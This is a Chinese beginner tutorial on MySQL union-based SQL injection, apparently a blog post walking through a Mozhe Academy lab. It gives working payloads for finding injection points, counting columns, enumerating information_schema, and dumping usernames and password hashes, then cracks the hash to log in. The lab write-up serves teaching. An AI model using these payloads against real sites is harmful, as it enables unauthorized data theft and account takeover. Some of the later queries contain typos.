SQL注入(一)——MySQL注入(1)小白入门篇

SQL注入(一)——MySQL注入(1)

MySQL注入

  • 信息收集
    • 操作系统
    • 数据库名
    • 数据库用户
    • 数据库版本
    • 其他(网站路径等)
  • 数据注入
    • 同数据库**(以5.0版本为界限)**
      • 低版本----->暴力查询或结合读取查询
      • 高版本----->Information_schema有据查询
  • 高权限注入
    • 常规查询
    • 跨库查询----->利用注入进行跨数据库查询
    • 文件读写----->利用注入进行文件读取或写入

以上是我们需要在SQL注入中所需要做的,首先要收集各种信息,然后通过数据库的类型来判断选用什么方式注入

MySQL数据库

这里我们还需要了解一下MySQL数据库的构成,大概可以用以下的方式来表示:

  • 数据库A
    • 表名
      • 列名
        • 数据
  • 数据库B
  • 数据库C

  • 这里进行解释一下,由诸多数据库A,B,C,D…构成了一个完整的数据库
    拿数据库A来举例,在数据库A下面由各种表名,而在各种表名下存在的是各种列名,列名下就是各种数据了。
    而我们SQL注入所需要的就是各种数据。
    这里再插入一个必要的知识点:

必要知识点

  • 在Mysql5.0以上版本中,MySQL存在一个自带数据库名为information_schema,它是一个存储记录所有表名,列名的数据库,也相当于可以查询它来获得想要的表明和列名信息。
  • 数据库中符号“.”代表下一级,如xiaodi.ueser代表xiaodi数据库下的user表名
  • information_schema.tables 记录所有表名信息的表
  • information_shcema.columns 记录所有列名信息的表
  • table_name 表名
  • column_name 列名
  • table_schema 数据库名

如何判断注入点

在网站的url中通常回出现 ?id=1,而在?id=1之后通常就是我们可以进行的注入点。
这里判断注入点我们提供两个方法,一个是老方法就是常见的and 1=1,and 1=2
另一个就是新的方法

  • 老办法:

    ?id=1 and 1=1 页面正常

    ?id=1 and 1=2 页面错误

    可能存在诸如点

  • 新方法:

    在参数后加一堆烂七八糟的东西,然后看页面是否正常

    要是正常说明没有带入到数据库中

    否则就是将语句带入到数据库中了
    例如:?id=1 dasjlkfhfga

    有的网站输入一堆乱七八糟的东西后爆404错误,说明网站对输入的东西有过滤,一般没有注入点

这里我们拿墨者学院中的一道题来具体讲解一下SQL注入的流程

例题演示

在这里插入图片描述
我们这里可以看到的是一个管理平台,但是我们没有账号和密码肯定登陆不进去(除了字典爆破),而且我们看到它下面有一个关于平台停机维护的提示框,我们点进去发现进入一个新的页面
而且在url中出现了刚刚熟悉的?id=1,我们查看它是否有注入点,我们选用刚刚学习的新方法,在?id=1后加一堆乱七八糟的东西
在这里插入图片描述
可以明显看到页面什么也没有显示,可以推断存在注入点
这时候我们先进行猜解列名

猜解列名

使用==order by X ==语句进行查询列名
我们使用?id=1 order by 1到4查询时都返回的是正确的页面,只有在输入5时返回了错误的页面,说明一共有四列
之后我们进行猜解准备

猜解准备

因为有四列,所有我们使用语句?id=1 union select 1,2,3,4进行猜解准备
语句执行后发现页面正确,所以我们需要使页面报错,通常情况下我们就是修改?id的值,将其修改为?id=-1这时页面才会进行报错,所以我们现在使用语句?id=-1 union select 1,2,3,4进行猜解准备

语句执行之后返回页面
WYmIB9.md.png
这里可以看到页面返回了2和3,这里需要记住一点,因为我们刚刚进行猜解准备时使用的是1234,这里返回的是2和3,所有我们只需要在2,3的地方替换成我们想要查询的信息就可以显示出来。

函数

  • 数据库版本
    • version()
  • 数据库名字
    • database()
  • 数据库用户
    • user()
  • 操作系统
    • @@version_compile_os

我们一步一步开始,我们先开始收集数据库的版本和数据库的名字
使用语句
?id=-1 union select 1,version(),database(),4
Wt1Ey6.md.png
我们可以看到数据库的版本是5.7,根据我们上文中的知识点来看,这里的数据库属于一个高本版,因为我们是以5.0作为分界线的。所以我们可以通过information_schema库来查看具体有哪些表名和列名。

而我们当前所处的数据库是mozhe_Discuz_StormGroup数据库
接下来我们继续查询数据库的用户和操作系统

?id=-1 union select 1,user(),@@version_compile_os,4

Wt8JIg.md.png
我们这里记录一下

version: 5.7.22-0ubuntu0.16.04.1
database: mozhe_Discuz_StormGroup
@@version_compile_os: Linux
user: root@localhost

我们通过信息收集确定了数据库的版本,而且是高版本我们直接在information_schema库中查询有什么表

我们这里学习一条查询语句,它可以查询指定数据库下的表名的信息
?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema=‘数据库的名字’

我们这里解读一下这条语句
union select和之前的一样,是进行查询,而后面的from information_shcema.tables 就是说在information_shcema这个库下的tables表中查询,而where是限制条件,查询数据库名字等于“数据库名字的表”
整体来说,就是在information_shcema库中的表名中查询库名是“数据库的名字”的表名。

我们现在去查询mozhe_Discuz_StormGroup数据库下有什么表名

?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

WtYKz9.md.png
这里我们需要再知道一个知识点,我们查询的是mozhe_Discuz_StormGroup数据库下的表名,我们直接使用的是table_name,但是只显示了一个表名,如果我们使用group_concat(table_name)进行查询,就可以列出该库下的全部表名。
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘数据库的名字’

?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

Wtt51H.md.png
这时我们可以看到该库下还存在一个notice表
我们先查询第一个表名中的列
这里使用的语句与上面查询表名的语句很类似
但是我们需要使用的是information_schema中的列名,所以我们应该调用information_schema.column
语句的整体格式是:
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘表名’
因为我们肯定想要的是表下的所有列名所以我们就直接在这里加group_concat()了

?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

WtdMbn.md.png
这下就可以看到该表下就存在这四个列了我们这里只需要查到name和password的下的数据就好了
使用语句
?id=-1 union select 1,name,password,4 from 表名

?id=-1 union select 1,name,password,4 from StormGroup_member

Wt049f.md.png
这个密码用md5解密后发现根本无法登陆,显示用户被禁。
所以我们推断这个password下的数据不止这一个,我们继续使用刚刚的函数group_concat()来查询

?id=-1 union select 1,gourp_concat(password),3,4 from StormGroup_menber

WtrvCt.md.png
然后我们拿第二个数据用md5解密一下就是密码了

总结

这是为小白写的一次sql注入基础篇,不知道大家是否能看懂,如果有什么写的不好的地方大家看不懂的话,还希望大家提出来,我来为大家解答。

  • 12
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值